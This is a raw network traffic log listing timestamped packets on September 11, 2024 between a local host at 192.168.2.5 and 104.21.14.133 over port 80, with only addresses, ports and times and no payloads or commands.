Sep 11, 2024 18:23:49.095416069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095417023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095417023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095419884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095426083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095432997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095437050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095555067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095557928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095561981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095571995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095575094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095578909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095583916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095587969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095592022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095597029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095604897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095607042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095607042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095607042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095638990 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095649958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095701933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095706940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095710039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095721006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095725060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095745087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095750093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095752954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095762014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095767021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095769882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095773935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095779896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095783949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095793009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095798016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095802069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095804930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095809937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095813990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095818996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095828056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095830917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095830917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095830917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095830917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095830917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095835924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095841885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095845938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095875025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095877886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095882893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095886946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.095909119 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095909119 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095909119 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095935106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.095995903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096002102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096005917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096014023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096019030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096023083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096030951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096036911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096040010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096049070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096055031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096057892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096061945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096066952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096070051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096074104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096079111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096080065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.096080065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.096226931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096230984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096235037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096245050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096249104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096252918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096257925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096262932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096266031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096275091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096280098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.096298933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.096298933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.096298933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.096298933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.096380949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.163250923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163256884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163263083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163299084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163304090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163393974 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.163393974 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.163605928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163647890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163651943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163691998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163693905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.163696051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163695097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.163701057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163713932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163717031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163722038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163773060 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.163774014 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.163775921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163781881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163788080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163799047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163803101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163808107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163811922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163839102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.163871050 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.163923979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163928986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163933039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163944006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163947105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163952112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163959980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163964033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163973093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163979053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163981915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163986921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163995028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.163999081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164004087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164006948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164006948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164021015 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164060116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164064884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164159060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164165974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164170027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164177895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164182901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164184093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164187908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164192915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164199114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164202929 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164202929 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164205074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164210081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164221048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164225101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164228916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164232016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164235115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164272070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164272070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164283991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164300919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164305925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164310932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164320946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164324999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164329052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164334059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164355993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164370060 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164387941 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164448977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164454937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164459944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164469957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164474964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164479017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164484024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164490938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164495945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164499044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164505005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164509058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164514065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164520025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164524078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164527893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164529085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164529085 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164535046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164539099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164544106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164545059 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164550066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164555073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164560080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164566040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164575100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164581060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164587021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164591074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164609909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164609909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164609909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164638996 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164638996 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164882898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164928913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.164941072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164946079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164952040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164962053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164966106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164972067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164978981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164983034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164994001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.164999008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165003061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165008068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165014029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165018082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165029049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165035009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165039062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165044069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165050030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165054083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165060043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165065050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165066957 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.165066957 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.165066957 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.165066957 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.165067911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165071964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165088892 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.165163040 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.165194988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165199995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165204048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165209055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165213108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165215969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165230036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165234089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165244102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165249109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165251970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165256023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165262938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.165292978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.165293932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.165293932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.165340900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.168239117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168309927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168314934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168318033 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.168318987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168380022 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.168581009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168674946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168678045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168692112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168697119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168726921 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.168745041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168750048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168751955 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.168755054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168802023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.168803930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168808937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168812990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168823957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168828011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168836117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168852091 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.168854952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168859005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168863058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168874025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.168903112 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.168903112 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.168945074 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169096947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169127941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169131041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169135094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169171095 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169171095 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169190884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169195890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169199944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169210911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169214010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169217110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169383049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169387102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169392109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169403076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169406891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169410944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169415951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169435024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169435024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169452906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169461966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169466972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169471025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169481993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169493914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169500113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169504881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169526100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169569969 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169572115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169670105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169673920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169678926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169687033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169692993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169696093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169706106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169711113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169735909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169735909 CEST	49710	80	192.168.2.5	104.21.14.133
